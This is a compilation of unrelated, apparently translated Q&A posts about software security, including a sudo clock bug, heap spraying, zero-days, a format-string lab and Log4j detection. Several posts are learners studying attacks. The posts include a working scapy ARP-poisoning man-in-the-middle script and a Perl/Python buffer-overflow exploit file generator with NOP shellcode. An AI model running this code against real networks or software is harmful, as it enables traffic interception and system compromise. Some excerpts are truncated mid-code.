我正在编写一些高度可移植的安全代码.我试图避免实用程序中的安全漏洞,例如在某些版本中找到的这个sudo:
...通过运行
sudo -k然后将系统时钟重置为01-01-1970,可以成为超级用户.
发生这种情况是因为sudo依赖于绝对(即日历)时间来确定访问是否已超时.
我的想法是使用CLOCK_MONOTONIC定义的time.h.
从POSIX标准来看,
[CLOCK_MONOTONIC]被定义为一个时钟,其值不能通过clock_settime()设置,并且不能有后向时钟跳转.最大可能的时钟跳转应由实现定义.
问题是,在许多(大多数?)系统上,CLOCK_MONOTONIC重启时会重置.是否有任何保证 POSIX兼容的方法来确定自程序上次运行以来系统是否已重新启动?
一种(坏)方法是检查存储的时钟值是否大于当前时钟值,但这只会改变问题.在CLOCK_MONOTONIC重新启动时重置的系统上,可能会有一个TIMEOUT允许访问的短窗口.
我错过了什么可以避免这个问题?
我刚刚读完了CERT工作的Brian Seacord 在C和C++中读取的安全编码.
总的来说,这是一本很好的书,我会推荐给任何尚未阅读它的程序员.在阅读之后,我发现对于所有各种类型的安全漏洞(例如漏洞利用代码注入,缓冲区溢出,整数溢出,字符串格式化漏洞等),每个安全漏洞似乎都归结为一件事:访问不受进程合法分配的缓冲区限制的内存地址的能力.
注入恶意代码或重新路由程序逻辑的能力完全取决于能够访问落在合法分配的缓冲区之外的内存地址.但是在像Java这样的语言中,这根本不可能.可能发生的最糟糕的事情是程序将终止ArrayIndexOutOfBoundsException,导致拒绝服务.
那么在Java等"安全"语言中是否存在任何安全漏洞,无法进行无效的内存访问?(我在这里使用Java作为示例,但我真的很想知道任何防止无效内存访问的语言中的安全漏洞.)
我正试图scapy在测试网络上做一个中间人攻击的人.我的设置是这样的:

现在你明白了,这是代码:
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if …Run Code Online (Sandbox Code Playgroud) 在"堆喷洒"维基百科的文章表明,许多的JavaScript漏洞涉及脚本的可执行代码或数据存储空间的某处定位的shellcode,然后有解释跳到那里,然后执行它.我不明白的是,为什么不能将解释器的整个堆标记为"数据",以防止解释器通过DEP执行shellcode?同时javascript派生字节码的执行将由虚拟机完成,该虚拟机不允许它修改属于解释器的内存(这在V8似乎执行机器代码时不起作用,但可能适用于使用某种类型的Firefox字节码).
我想上面的声音听起来很微不足道,而且很可能就是这样的事情.所以,我试图了解推理中的缺陷或现有解释器实现中的缺陷.例如,当javascript请求内存时,解释器是否依赖于系统的内存分配而不是实现自己的内部分配,从而使得分离属于解释器和javascript的内存过于困难?或者为什么基于DEP的方法不能完全消除shellcode?
"零日"或"0天"(在软件漏洞和漏洞利用的背景下)是指软件版本还是特定类型的漏洞?
[我没有在SO上找到答案.虽然它在互联网上的其他地方得到解答,但我对SO的理解是可以提出/回答基本问题 ]
我最近一直致力于一些漏洞利用开发,为培训课程做好准备,而且我遇到了一个教程问题.我一直在关注我能找到的所有教程,使用Python而不是教程使用的语言,而不是偏好.我正在尝试对所有内容进行交叉编码,但我无法弄清楚如何对Perl的Pack()函数进行交叉编码.
TL; DR:我正在尝试将其转换为python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
Run Code Online (Sandbox Code Playgroud)
我找到了Python的struct.pack()函数,但是当我使用它时
Fuzzed.write(struct.pack('V', 0x773D10A4))
Run Code Online (Sandbox Code Playgroud)
,它停止程序,不起作用.我究竟做错了什么?
这是我的完整源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
Run Code Online (Sandbox Code Playgroud) 基本上我正在利用的功能是这样的:
int getbufn()
{
char buf[512];
Gets(buf);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
当我运行主程序时,该函数执行5次,每次buf的位置改变,%ebp的位置也改变.我应该做的是将一个特定的十六进制值,比如0xFFFFFFFF,放入一个变量中,主程序每次都会检查该变量是否存在.如果它再次执行,直到完成所有5次并且程序安静地退出.
我遇到的问题是,在检查十六进制值之前,检查另一个常量值,比如说0x12345678.如果我已经损坏了0x12345678并且它不在那里,程序就会爆炸.
我已经发现0x12345678存储在-0x10(%ebp)中,所以我知道它基于%ebp并且我每次都知道%ebp的地址但我只能在第一次使用该漏洞利用.我这样做基本上是用了496个字节,而且这个机器代码是用字节格式的:
mov 0xFFFFFFFF, %eax
movl address old ebp, %ebp
push correct return adress in function main
ret
Run Code Online (Sandbox Code Playgroud)
最后是5个字和一个返回长的字节,我填充0x313131使其长6个字.此时我的漏洞利用字符串长度为520字节,这正好是缓冲区低于%ebp的数量,因此我添加旧ebp的地址和我的nopsled中的某个地址覆盖%ebp处的当前值以及返回值getbufn的地址.
问题是当程序执行第二次时%ebp的地址0x10低于其先前的地址,所以我的方式不会破坏%ebp不起作用,并且主检测到0x12345678不在-0x10(%ebp).如何解除%ebp的损坏?
LogWatch是一个很好的工具,它提供有关linux日志文件的每日报告.它包括几个信息摘要,如流量,登录用户,使用sudo的用户,相关内核消息,探测服务器的IP,探测你的apache的搜索引擎等等......
一个部分包括使用已知漏洞尝试破解您的服务器的IP地址.它们并不一定成功,但无论如何它们都被列在报告中以获取知识.这就是它的样子.
Attempts to use known hacks by 4 hosts were logged 4 time(s) from:
187.13.156.179: 1 Time(s)
^null$ 1 Time(s)
187.60.121.62: 1 Time(s)
^null$ 1 Time(s)
189.123.240.18: 1 Time(s)
^null$ 1 Time(s)
189.70.214.124: 1 Time(s)
^null$ 1 Time(s)
Run Code Online (Sandbox Code Playgroud)
我的问题是这次^null$袭击究竟是什么?我试过谷歌搜索,但似乎没有任何相关性.
我正在开发一个格式字符串漏洞实验室,我们给出了以下代码:
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1;
secret[1] = SECRET2;
printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%.8x (on heap)\n", …Run Code Online (Sandbox Code Playgroud) 我们在生产中使用 wildfly 10 和 16,并且某些版本的 log4j 存在零日漏洞 CVE-2021-44228。
我如何确定代码和库都没有使用存在该问题的 log4j 库?
我不使用任何 log4j 属性文件,也不自己添加依赖项。
任何帮助将不胜感激!